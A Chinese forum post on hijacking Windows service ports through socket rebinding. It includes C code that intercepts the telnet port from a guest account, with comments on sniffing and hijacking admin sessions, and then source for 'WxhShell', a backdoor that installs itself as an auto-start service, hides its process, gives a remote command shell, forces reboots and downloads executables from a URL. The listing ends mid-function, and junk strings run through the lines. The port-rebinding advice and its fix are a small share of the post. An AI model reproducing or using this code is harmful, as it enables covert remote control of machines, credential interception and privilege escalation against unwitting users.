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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VA*79I#_q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _*-'yu8#  
N*c?Er@8U  
  saddr.sin_family = AF_INET; oBGstt@  
*~MiL9m+?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )y [[Se  
EKI+Dq,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qhHRR/p  
TPmZ/c^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~N+/ZVo&y  
XzTH,7[n  
  这意味着什么?意味着可以进行如下的攻击: }<x!95  
V-o`L`(F`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -^NAHE$bW  
wr6xuoH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e#Zf>hlAz  
t,as{.H{h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .$T:n[@  
Yk*57&QI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0OoO cc  
^#6%*(D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =Z$=-\<x0.  
kA9 X!)2w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \Q BpgMi(  
g{f>j d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [OToz~=)  
Z6 |'k:R8  
  #include qS`|=5f  
  #include F(kRAe;  
  #include oew]ijnB  
  #include    M%dl?9pbq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^zs4tCW%  
  int main() '%r@D&*vp  
  { 8 H"f9S=K  
  WORD wVersionRequested; 0aN}zUf  
  DWORD ret; \(v_",  
  WSADATA wsaData; DWevg;_]$(  
  BOOL val; Gxt<kz  
  SOCKADDR_IN saddr; nfPl#]ef*  
  SOCKADDR_IN scaddr; q@!H^hd}  
  int err; =;?PVAdu%#  
  SOCKET s; 38.J:?Q  
  SOCKET sc; c#-97"_8  
  int caddsize; $oBZe>s .  
  HANDLE mt; as47eZ0\  
  DWORD tid;   #K~j9DuR  
  wVersionRequested = MAKEWORD( 2, 2 ); 1RO gUJ;  
  err = WSAStartup( wVersionRequested, &wsaData ); 1VM5W!}  
  if ( err != 0 ) { NCh(-E  
  printf("error!WSAStartup failed!\n"); XIW: Nk!S  
  return -1; &+|4(d1  
  } b5,}w:  
  saddr.sin_family = AF_INET; y5tAp  
   &JQ@(w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %<o$ J~l~  
ezy5Jqk5%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K*i1! "w  
  saddr.sin_port = htons(23); [LEh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Hbj:CViYq  
  { #YMp,i  
  printf("error!socket failed!\n"); <$Kv^Y*  
  return -1; \EfwS% P  
  } |@9I5Eg)iE  
  val = TRUE; &@Gu~)^(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m.g@S30  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vpw&"?T  
  { +W3>Yg%)X  
  printf("error!setsockopt failed!\n"); 5x'y{S<  
  return -1; 9%k.GE  
  } v\tbf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7 QJcRZ[lU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :^L]Da3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SG o:FG  
uT t:/gm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8q LgB  
  { _+Kt=;Y8  
  ret=GetLastError(); 2g8P$+;  
  printf("error!bind failed!\n"); $%"}N_M  
  return -1; N5_.m(:  
  } 6&Ir0K/  
  listen(s,2); Tsp-]-)  
  while(1) }EG(!)u  
  { PvBbtC-9b  
  caddsize = sizeof(scaddr); %YAiSSsV  
  //接受连接请求 \@t5S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "$V2$  
  if(sc!=INVALID_SOCKET) MOeLphY  
  { hd BC ^n  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A0k>Nb\c3  
  if(mt==NULL) wef^o"aP  
  { NS~knR\&  
  printf("Thread Creat Failed!\n"); .qPfi] ty  
  break; 9{#|sABGD  
  } 'i-O  
  } n\p\*wb  
  CloseHandle(mt); D}U<7=\3H  
  } YGmdiY:;1  
  closesocket(s); Qg.:w  
  WSACleanup(); 0e](N`  
  return 0;  ;I@L  
  }   #E@i@'T  
  DWORD WINAPI ClientThread(LPVOID lpParam) */e5lRO\  
  { R51!j>[fqM  
  SOCKET ss = (SOCKET)lpParam; N9|.D.#MF  
  SOCKET sc; Bx!` UdRn  
  unsigned char buf[4096]; pREY AZh  
  SOCKADDR_IN saddr; >U/g*[>  
  long num; TAoR6aE  
  DWORD val; z$5C(!)  
  DWORD ret; D*Q#G/TF3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /8HO7E+5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~8{3Fc0  
  saddr.sin_family = AF_INET; bD-Em#>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'vIkA=  
  saddr.sin_port = htons(23); 5hK\YTU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LkB!:+v |B  
  { GK%ovK  
  printf("error!socket failed!\n"); *03/ :q^(  
  return -1; v('d H"Y  
  } *?"{T;4u~O  
  val = 100; <BA&S _=4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5z>\'a1U  
  { R u-rp^a  
  ret = GetLastError(); AAY UXY!  
  return -1; {\zr_v`g  
  } 9iNns;^`q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;O11)u?/s|  
  { 9r#{s Y  
  ret = GetLastError(); _?c.3+;s  
  return -1; W (=B H  
  } ,RO(k4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .p}Kl$K]  
  { 1hS~!r'qqv  
  printf("error!socket connect failed!\n"); x@}Fn:c!5  
  closesocket(sc); ;qK6."b`;  
  closesocket(ss); +N@F,3yNa  
  return -1; I!O S&8:u  
  } Lc?O K"[m  
  while(1) ;VRR=p%,  
  { 5^/[]*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mIo7 K5z{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {jf~?/<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ptQ (7N  
  num = recv(ss,buf,4096,0); &2igX?60  
  if(num>0) ;)a9Y?  
  send(sc,buf,num,0); `0D1Nh"%k  
  else if(num==0) 7#3)&"j  
  break; D:EF@il  
  num = recv(sc,buf,4096,0); )c !S@Hs  
  if(num>0) GA}^Rh`T-  
  send(ss,buf,num,0); e6'O,\  
  else if(num==0) TMsoQ82  
  break; i8.[d5  
  } &Qjl|2  
  closesocket(ss); -P&e4sV{  
  closesocket(sc); i`'^ zR(`i  
  return 0 ; FM[To  
  } RY< b]|  
vDvGT<d  
^W'[l al.  
========================================================== FJ"9Hs2  
hspg-|R  
下边附上一个代码,,WXhSHELL KLW+&.re8  
AoeW<}MO  
========================================================== &N0|tn  
v{ Ve sf  
#include "stdafx.h" ,ua1xsZl&  
$(=1A>40  
#include <stdio.h>  0 XzO`*  
#include <string.h> -~f.>@Wb  
#include <windows.h> #+k[[; 0  
#include <winsock2.h> yFsXI0I[p  
#include <winsvc.h> yRkMR$5&  
#include <urlmon.h> QGy=JHb  
Am4(WXVQ  
#pragma comment (lib, "Ws2_32.lib") 2,0F8=L  
#pragma comment (lib, "urlmon.lib") e`F|sz]k"H  
mA @+4&  
#define MAX_USER   100 // 最大客户端连接数 {[ *_HAy7  
#define BUF_SOCK   200 // sock buffer EZBzQ""  
#define KEY_BUFF   255 // 输入 buffer C<XDQ>?  
A o$z )<d'  
#define REBOOT     0   // 重启 DA~ELje^j  
#define SHUTDOWN   1   // 关机 Bn q\Gg  
yw!`1#3.  
#define DEF_PORT   5000 // 监听端口 AAgA]OD,  
>oDP(]YGg  
#define REG_LEN     16   // 注册表键长度 UULL:vqq  
#define SVC_LEN     80   // NT服务名长度 \ 6 a  
z?[DW*  
// 从dll定义API GY xI$y0:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d?Cl04  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /|AuI qW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' qE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0B/a$NC  
06 s3 b  
// wxhshell配置信息 g<%-n,  
struct WSCFG { &y\2:IyA  
  int ws_port;         // 监听端口 |"v{RC0  
  char ws_passstr[REG_LEN]; // 口令 S '+"+%^tj  
  int ws_autoins;       // 安装标记, 1=yes 0=no [bJnl>A  
  char ws_regname[REG_LEN]; // 注册表键名 G[j79o  
  char ws_svcname[REG_LEN]; // 服务名 BwD1}1jp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \l5:A]J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <t{AY^:r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dC#\ut%l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :PkZ(WZ9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8f5^@K\c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %$| k3[4V  
ZRGZ'+hw  
}; Y3>\;W*?  
# HYkzjb  
// default Wxhshell configuration zAJUL  
struct WSCFG wscfg={DEF_PORT, WEAXqDjM  
    "xuhuanlingzhe", +Ob#3PRy  
    1, *wcoDQ b;  
    "Wxhshell", 4+,Z'J%\[7  
    "Wxhshell", #SNI dc>9\  
            "WxhShell Service", va2A@U  
    "Wrsky Windows CmdShell Service", IQ~7vk()  
    "Please Input Your Password: ", mkzk$_  
  1, _Ge^ -7  
  "http://www.wrsky.com/wxhshell.exe", gLMea:  
  "Wxhshell.exe" Rue|<d1  
    }; ^WW|AS  
q}v04Yy,o  
// 消息定义模块 )-:eQ{st`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]N <]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %g@3S!lK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b_gN?F7_  
char *msg_ws_ext="\n\rExit."; m?% H<4X  
char *msg_ws_end="\n\rQuit."; >VUQTg  
char *msg_ws_boot="\n\rReboot..."; nk|N.%E  
char *msg_ws_poff="\n\rShutdown..."; &z X 3  
char *msg_ws_down="\n\rSave to "; jl-Aos"/  
JBEgiQ/  
char *msg_ws_err="\n\rErr!"; W%9K5(e  
char *msg_ws_ok="\n\rOK!"; zo7XmUI3P  
bZay/ Zkj  
char ExeFile[MAX_PATH]; Hu(flc+z"  
int nUser = 0; A~GtK\=;  
HANDLE handles[MAX_USER]; K M\+  
int OsIsNt; 2*q: ^  
3 [)s;e  
SERVICE_STATUS       serviceStatus; _Z66[T+M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KD"&_PX  
OWXye4`*  
// 函数声明 /.kna4k  
int Install(void); QJIItx4hE  
int Uninstall(void); y(3c{y@~X  
int DownloadFile(char *sURL, SOCKET wsh); Ma=6kX]  
int Boot(int flag); h$7Fe +#I#  
void HideProc(void); q?-3^z%u  
int GetOsVer(void); ncJFB,4  
int Wxhshell(SOCKET wsl); {q tc \O  
void TalkWithClient(void *cs); <+-Yh_D  
int CmdShell(SOCKET sock); l^UJes!  
int StartFromService(void); VXc+Wm*W  
int StartWxhshell(LPSTR lpCmdLine); j*La ,iF  
k4F"UG-`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [X">vaa  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1u"*09yZd  
2~&hstd%  
// 数据结构和表定义 /q"d`!h)w  
SERVICE_TABLE_ENTRY DispatchTable[] = AXh3LA  
{ L740s[,`o#  
{wscfg.ws_svcname, NTServiceMain}, 60aKT:KLC_  
{NULL, NULL} Q f+p0E;  
}; }EedHS  
Ng'ZAG;O  
// 自我安装 [71#@^ye  
int Install(void) ]oas  
{ X=p3KzzX  
  char svExeFile[MAX_PATH]; h/ X5w4  
  HKEY key; )}Rfa}MD  
  strcpy(svExeFile,ExeFile); ,P@/=I5  
$D/bU lFx  
// 如果是win9x系统,修改注册表设为自启动 v :+8U[x  
if(!OsIsNt) { 7moElh v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .qIy7_^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6_%]\37_Z  
  RegCloseKey(key); si^4<$Nr%j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z`oaaO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Od!F: <  
  RegCloseKey(key); eN]>l  
  return 0; )zW%\s*'  
    } 5rfH;`  
  } ]/o12pI  
} 4P4 Fo1  
else { Zc%foK{  
P!FEh'.  
// 如果是NT以上系统,安装为系统服务 RrO0uadmn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q$3\ /mz  
if (schSCManager!=0) oEQ{m5O9  
{ i[2bmd!H  
  SC_HANDLE schService = CreateService s^g.42?u  
  ( .L^pMU+!^  
  schSCManager, p2Dh3)&  
  wscfg.ws_svcname, < g3du~  
  wscfg.ws_svcdisp, rQcRjh+E H  
  SERVICE_ALL_ACCESS, U R1JbyT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B.22 DuE#  
  SERVICE_AUTO_START, /UpD$,T|^|  
  SERVICE_ERROR_NORMAL, -Wlp=#9  
  svExeFile, <Qcex3  
  NULL, )+n,5W  
  NULL, JQ"`9RNb  
  NULL, U/X|i /  
  NULL, ePq13!FC/  
  NULL ceb s.sF:  
  ); gV"qV   
  if (schService!=0) =f4[=C$&`  
  { <G~} N  
  CloseServiceHandle(schService); &2io^A P  
  CloseServiceHandle(schSCManager); TvunjTpaj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m"gni #  
  strcat(svExeFile,wscfg.ws_svcname); (odR'#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r zMFof  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ew %{ i(d  
  RegCloseKey(key); %XP_\lu]  
  return 0; Ml8 YyF/~  
    } GJ1;\:cQq  
  } d~{jEg  
  CloseServiceHandle(schSCManager); L$+d.=]  
} ?$|uT  
} W\@?e32  
9Z,*h-o  
return 1; .D8~)ZWN  
} eg"=H50  
7?=43bZl  
// 自我卸载 U1,~bO9  
int Uninstall(void) 0?lp/|K  
{ ~L%Pz0Gg  
  HKEY key; M}Nb|V09  
9 wO/?   
if(!OsIsNt) { OUEI~b1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7FmbV/&c  
  RegDeleteValue(key,wscfg.ws_regname); qwq/Xcv  
  RegCloseKey(key); iNod</+"K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .FIt.XPzv  
  RegDeleteValue(key,wscfg.ws_regname); omM&{ }8g  
  RegCloseKey(key); ~ X-)_zH  
  return 0; f._l105.  
  } uiktdZ/f  
} vk  @%R  
} u0m5JD0/  
else { $%7I:  
8tb6 gZz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M{`/f@z(  
if (schSCManager!=0) :s'o~   
{ -O|&c9W.O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -DTB6}kw  
  if (schService!=0) r<;l{7lY_  
  { k? 3S  
  if(DeleteService(schService)!=0) { ;i<$7MR.e  
  CloseServiceHandle(schService); ic%?uWN  
  CloseServiceHandle(schSCManager); .6>  hD1'  
  return 0; i 8l./Yt/  
  } XB0a dp  
  CloseServiceHandle(schService); &|v{#,ymeb  
  } PX;Vo~6  
  CloseServiceHandle(schSCManager); 3/X-Cr+d  
} `J72+RA  
} wgCvD  
w3^NL(>  
return 1; 9YR]+*  
} P DRnW  
T}C2e! _O  
// 从指定url下载文件 Dc08D4   
int DownloadFile(char *sURL, SOCKET wsh) (+|X<Bl:`  
{ LmP qLH'(Q  
  HRESULT hr; q5Fs)B  
char seps[]= "/"; YiD-F7hf.*  
char *token; ]JOephX2R  
char *file; k*5'L<&  
char myURL[MAX_PATH]; 24#bMt#^  
char myFILE[MAX_PATH]; !Citzor  
Ls&+XlrX8  
strcpy(myURL,sURL); JkZ50L  
  token=strtok(myURL,seps); 25UYOK}!  
  while(token!=NULL) _eGT2,D5r  
  { R)ERx z#  
    file=token; w{pUUo:<  
  token=strtok(NULL,seps); <lUOJV{&\  
  } _ `H.h6h  
K&*iw`  
GetCurrentDirectory(MAX_PATH,myFILE); z9[[C^C  
strcat(myFILE, "\\"); YRPm^kW  
strcat(myFILE, file); 7 _`L$<-n  
  send(wsh,myFILE,strlen(myFILE),0); J , V  
send(wsh,"...",3,0); pgT9hle/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [`d$X^<y;  
  if(hr==S_OK) p8Iw!HE  
return 0; 7_-w_"X  
else 0axxQ!Ivx  
return 1; ~ |6dH  
!lAD q|$  
} _2b9QP p  
zbNA \.y  
// 系统电源模块 2K;#Evn'j  
int Boot(int flag) Z1M>-[j)  
{ Frk cO  
  HANDLE hToken; F!J J6d53y  
  TOKEN_PRIVILEGES tkp; BPqk "HG]T  
cB#nsu>  
  if(OsIsNt) { 'Y.Vn P&H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); []|;qHhC~(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); syv$XeG=}  
    tkp.PrivilegeCount = 1; x[QZ@rGIW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \i!Son.<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,|+Gls  
if(flag==REBOOT) { 6SVqRD<`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6xoq;=o  
  return 0; 'n0 .#E_  
} ibJHU@l  
else { -T7xK/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4[TR0bM%  
  return 0; 9Y/L?km_(  
} b;#\~( a  
  } )t:7_M3  
  else { . V$ps-t  
if(flag==REBOOT) { ~]BMrgn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZQ3_y $  
  return 0; %r;w;`/hA  
} ?vgH"W~3>  
else { NBjeH tT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @b2`R3}9R  
  return 0; c8{]]  
} YD\]{,F|  
} pQMtj0(y  
HG%Z "d  
return 1; Tv5g`/e=Ej  
} mf' ]O,  
; dd Q/  
// win9x进程隐藏模块 @m~RtC-Q  
void HideProc(void) /- 4$7qd  
{ oE?QnH3R  
3xNMPm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q$ri=uB;+  
  if ( hKernel != NULL ) >`'O7.R  
  { e}0:"R%E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >xu [q\:"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O oSb>Y/4  
    FreeLibrary(hKernel); B&Y_2)v  
  } Ue*C>F   
#eK=  
return; ow6*Xr8eQ  
} ]JE TeZ^/  
Z{R[Wx  
// 获取操作系统版本 kS :\Oz\  
int GetOsVer(void) JN'cXZJPn  
{ G^wtE90  
  OSVERSIONINFO winfo; @ {#mpDX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cCY/gEv  
  GetVersionEx(&winfo); "w_N' -}#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -"Q-H/qh  
  return 1; 9 [jTs3l:  
  else \*0yaSQF  
  return 0; 'Z&;uv,l  
} e-5?p~>  
_q?<at}y  
// 客户端句柄模块 3=  -pG  
int Wxhshell(SOCKET wsl) C+{l7QT$t  
{ '9?;"=6(  
  SOCKET wsh; EE=3  
  struct sockaddr_in client; ZH,4oF  
  DWORD myID; ] asBd"  
dQb.BOI)h  
  while(nUser<MAX_USER) N ]N4^A'  
{ Nt:9MG>1  
  int nSize=sizeof(client); LfLFu9#:w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;heHefbvvd  
  if(wsh==INVALID_SOCKET) return 1; x;\wY'  
28andfl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gNpJ24QK  
if(handles[nUser]==0) ;WU<CKYG*  
  closesocket(wsh); >dzsQ^Nj  
else E7zm{BX]  
  nUser++; (08I  
  } ,#]t$mzbQ(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x3p ND  
aqU' T  
  return 0; i/So6jW  
} ]@^coj[  
Xz 4 x  
// 关闭 socket lb*8G  
void CloseIt(SOCKET wsh) ww k PF  
{ KvPX=/&Zu  
closesocket(wsh); Zm ogM7B  
nUser--; BV`-=wRC  
ExitThread(0); a4i:|   
} 5S{7En~zUE  
X"fh@.  
// 客户端请求句柄 [&?8,Q(  
void TalkWithClient(void *cs) c`*TPqw(B[  
{ ,m=4@ofX  
-fI@])$9J  
  SOCKET wsh=(SOCKET)cs;  j2l55@  
  char pwd[SVC_LEN]; <M]h{BS=  
  char cmd[KEY_BUFF]; ^!8P<y  
char chr[1]; Xjio Z  
int i,j; b6(p  
]iNEw9  
  while (nUser < MAX_USER) { 3]&o*Ib1`_  
evA/+F ,&  
if(wscfg.ws_passstr) { X|D!VX>#!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \dQx+f&t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RP5+d  
  //ZeroMemory(pwd,KEY_BUFF); eM7Bc4V  
      i=0; `#-P[q<v-  
  while(i<SVC_LEN) { Zk8|K'oHx  
6]zd.W  
  // 设置超时 =qy=-j]  
  fd_set FdRead; wCf~O'XLw  
  struct timeval TimeOut; {O<l[|Ip  
  FD_ZERO(&FdRead); C:8_m1Y{  
  FD_SET(wsh,&FdRead); c#IYFTz  
  TimeOut.tv_sec=8; b1XRC`Gy  
  TimeOut.tv_usec=0; PQKaqv}N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .`<@m]m-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SUKxkc(  
)Or  .;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :'F}Dy  
  pwd=chr[0]; 38DT2<qC  
  if(chr[0]==0xd || chr[0]==0xa) { !+)AeDc:j  
  pwd=0; z@Q@^ &0Mr  
  break; 5 < wnva  
  } ,j:|w+l  
  i++; +ISz?~8  
    } mGUO6>g  
OA/WtQ5  
  // 如果是非法用户,关闭 socket cKb)VG^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $D v\ e  
} r_e7a6  
R" )bDy?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uEyH2QO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gBh;=vOD  
km^^T_ M/  
while(1) { Ofm%:}LV  
AcI,N~~  
  ZeroMemory(cmd,KEY_BUFF); VvFC -r,=G  
")O`mXg-  
      // 自动支持客户端 telnet标准   VhjM>(  
  j=0; joKIrS0y  
  while(j<KEY_BUFF) { r:&` $8$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 53-v|'9'  
  cmd[j]=chr[0]; fFj grK8  
  if(chr[0]==0xa || chr[0]==0xd) { 1&;QyTN  
  cmd[j]=0; -[U1]R  
  break; {~|OE -X][  
  } x8\A<(G_M=  
  j++; mWR4|1(  
    } oI)GKA_Ng7  
2aJS{[  
  // 下载文件 p~noM/*2r  
  if(strstr(cmd,"http://")) { uZfnzd)c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3d<HN6&U  
  if(DownloadFile(cmd,wsh)) L-B<nl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M?&h~V1OI~  
  else |#1(Z-}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / XnhmqWm%  
  } qd8n2f  
  else { 1+-_s  
+xc'1id@[  
    switch(cmd[0]) { c wg !j!l  
  9j W2  
  // 帮助 qd"_Wu6aF=  
  case '?': { sY?,0T_m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J!'@Bd  
    break; yV_4?nh  
  } h/B>S  
  // 安装 "qc6=:y}  
  case 'i': { .9md~j:o^s  
    if(Install()) nhIa175'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kJW N.  
    else #Z6'?p9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +f*OliMD  
    break; ^c:Fy+fb  
    } Z2im@c67{  
  // 卸载 "D?z  
  case 'r': { z]b>VpW:  
    if(Uninstall()) `tjH<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *tm0R>?!  
    else JXyM\}9-X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ag F,aZU  
    break; JQ4{` =,b  
    } r$]HIvJD  
  // 显示 wxhshell 所在路径 dnV[ P  
  case 'p': { 1hcjSO  
    char svExeFile[MAX_PATH]; ?wnzTbJN  
    strcpy(svExeFile,"\n\r"); hXqD<?  
      strcat(svExeFile,ExeFile); V& C/Z}\  
        send(wsh,svExeFile,strlen(svExeFile),0); v3v[[96p  
    break; uV 7BK+[O  
    } GnP|x}YM  
  // 重启 @+atBmt  
  case 'b': { J|&JD?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Tf9S<xpq3  
    if(Boot(REBOOT)) ooUk O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q WMdn  
    else { V+I|1{@i0  
    closesocket(wsh); $Y5)(  
    ExitThread(0); o.q/O)'V u  
    } :n /@z4#  
    break; |&Ym@Jyj  
    } detwa}h[0  
  // 关机 pv&y91  
  case 'd': { B<C*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KiJT!moB  
    if(Boot(SHUTDOWN)) K_K5'2dE  
